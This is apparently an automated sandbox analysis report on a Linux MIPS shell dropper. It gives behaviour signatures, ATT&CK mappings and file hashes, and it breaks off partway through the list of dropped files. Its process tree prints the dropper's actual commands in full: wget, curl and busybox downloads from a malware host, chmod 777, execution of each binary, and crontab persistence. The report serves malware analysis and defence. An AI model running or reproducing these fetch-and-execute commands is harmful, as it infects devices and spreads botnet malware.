b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84

Analysis

max time kernel
123s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
24-11-2024 06:10

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General

Target

F433W_bins.sh
Size

10KB
MD5

2128d7e395a2eda74b31415f79e2df84
SHA1

eaf344e3ed44c9d46fc9aa91743c11475268dd2b
SHA256

b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84
SHA512

f1a8d87a630d598fce85b893aab3642deed5c779a63c2dc5beab0dfd3a1378e525ad4827d46bb36e8d950fd3fdcd201ba30162865aabba94e1eefe71e68d71a4
SSDEEP

96:YQMyUi6nL7XUL/TsL40hHbWbSq0+B5NWGAf3IL40/1VQ40dd4/4T41G+x1z1zL1n:tYsMkzAc1G+7JzRr8Ac1G+zJzRrG

Score

8^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (995) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	Process
827	chmod
835	chmod
843	chmod
851	chmod
859	chmod
786	chmod
867	chmod
875	chmod
883	chmod
891	chmod

Executes dropped EXE 10 IoCs

Processes:

Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSsQcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Qz25gEXNIJE5CQauEjrWBNsO2haINoBkLWF8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxBnBuRg1cvNzMbbnucShgz1ppnOh5JP318AvroxI1Sl100oqiDJmwVpT114qHXrdfSqHVCi8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGLMOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P

ioc	pid	Process
/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	787	Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7	828	RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
/tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs	836	CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
/tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q	844	QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
/tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF	852	z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
/tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB	860	8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
/tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av	868	nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
/tmp/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC	876	roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
/tmp/i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL	884	i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL
/tmp/MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P	892	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P

Renames itself 1 IoCs

Processes:

MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P

pid	Process
893	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.0VDJpV	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

crontabMOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3Pcurlcurlcurl

description	ioc	Process
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/902/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/938/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1004/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/922/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/952/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/957/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1036/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/11/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/13/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/996/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/934/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1025/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1032/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/70/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1065/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/432/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/942/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/976/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/991/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1003/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1047/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/706/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/987/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1039/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1049/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/19/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/909/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/998/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/325/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/906/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/955/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/971/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/994/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/6/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/235/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/320/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/707/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/932/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/988/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/973/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1015/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/81/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/385/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/905/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/916/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/986/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/999/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/23/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/37/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/965/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1051/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1061/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/1058/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/3/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/75/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/76/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/948/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/949/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/989/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
File opened for reading	/proc/10/cmdline	MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P

System Network Configuration Discovery 1 TTPs 31 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

curlbusyboxwgetcurlcurlwgetcurlbusyboxcurlcurlwgetwgetwgetcurlwgetcurlwgetwgetwgetbusyboxbusyboxbusyboxcurlbusyboxbusyboxwgetbusyboxcurlwgetbusyboxbusybox

pid	Process
880	curl
890	busybox
902	wget
848	curl
872	curl
887	wget
737	curl
834	busybox
840	curl
856	curl
863	wget
716	wget
790	wget
797	curl
839	wget
864	curl
855	wget
871	wget
879	wget
882	busybox
858	busybox
866	busybox
888	curl
756	busybox
826	busybox
831	wget
842	busybox
832	curl
847	wget
850	busybox
874	busybox

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetbusyboxcurlbusyboxbusyboxwgetbusyboxcurlcurlbusyboxcurlwgetcurlcurlwgetcurlbusyboxwgetwgetcurlwgetwgetbusyboxcurlwgetcurlbusyboxwgetbusyboxbusybox

description	ioc	Process
File opened for modification	/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7	wget
File opened for modification	/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7	busybox
File opened for modification	/tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB	curl
File opened for modification	/tmp/MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P	busybox
File opened for modification	/tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs	busybox
File opened for modification	/tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF	wget
File opened for modification	/tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB	busybox
File opened for modification	/tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av	curl
File opened for modification	/tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF	curl
File opened for modification	/tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF	busybox
File opened for modification	/tmp/i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL	curl
File opened for modification	/tmp/MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P	wget
File opened for modification	/tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs	curl
File opened for modification	/tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q	curl
File opened for modification	/tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB	wget
File opened for modification	/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	curl
File opened for modification	/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	busybox
File opened for modification	/tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q	wget
File opened for modification	/tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av	wget
File opened for modification	/tmp/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC	curl
File opened for modification	/tmp/i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL	wget
File opened for modification	/tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs	wget
File opened for modification	/tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q	busybox
File opened for modification	/tmp/MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P	curl
File opened for modification	/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59	wget
File opened for modification	/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7	curl
File opened for modification	/tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av	busybox
File opened for modification	/tmp/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC	wget
File opened for modification	/tmp/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC	busybox
File opened for modification	/tmp/i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL	busybox

/tmp/F433W_bins.sh
/tmp/F433W_bins.sh
1⤵
PID:709
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:714
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:716
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:756
- /bin/chmod
  chmod 777 Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  ./Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  - Executes dropped EXE
  PID:787
- /bin/rm
  rm Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
  2⤵
  PID:789
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:790
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:797
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:826
- /bin/chmod
  chmod 777 RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  ./RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  - Executes dropped EXE
  PID:828
- /bin/rm
  rm RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
  2⤵
  PID:830
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:831
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:832
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:834
- /bin/chmod
  chmod 777 CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  ./CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  - Executes dropped EXE
  PID:836
- /bin/rm
  rm CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
  2⤵
  PID:838
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:839
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:840
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:842
- /bin/chmod
  chmod 777 QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  ./QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  2⤵
  - Executes dropped EXE
  PID:844
- /bin/rm
  rm QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
  2⤵
  PID:846
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:847
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:848
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:850
- /bin/chmod
  chmod 777 z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  ./z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  2⤵
  - Executes dropped EXE
  PID:852
- /bin/rm
  rm z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
  2⤵
  PID:854
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:855
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:856
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:858
- /bin/chmod
  chmod 777 8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  ./8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm 8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
  2⤵
  PID:862
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:863
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:866
- /bin/chmod
  chmod 777 nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  ./nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
  2⤵
  PID:870
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:871
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:874
- /bin/chmod
  chmod 777 roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
  ./roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
  2⤵
  - Executes dropped EXE
  PID:876
- /bin/rm
  rm roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
  2⤵
  PID:878
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:879
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:882
- /bin/chmod
  chmod 777 i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL
  ./i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL
  2⤵
  PID:886
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:887
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:890
- /bin/chmod
  chmod 777 MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
  ./MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:892
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:894
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:895
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:896
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:897
- /bin/rm
  rm MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P
  2⤵
  PID:899
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6e50JUZvANqHMgApF7Srbsq6hwk8yfKEfe
  2⤵
  - System Network Configuration Discovery
  PID:902

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

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/tmp/MOrMYigJsDZ9bOdxrCxXhCmTisTkXVsf3P

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
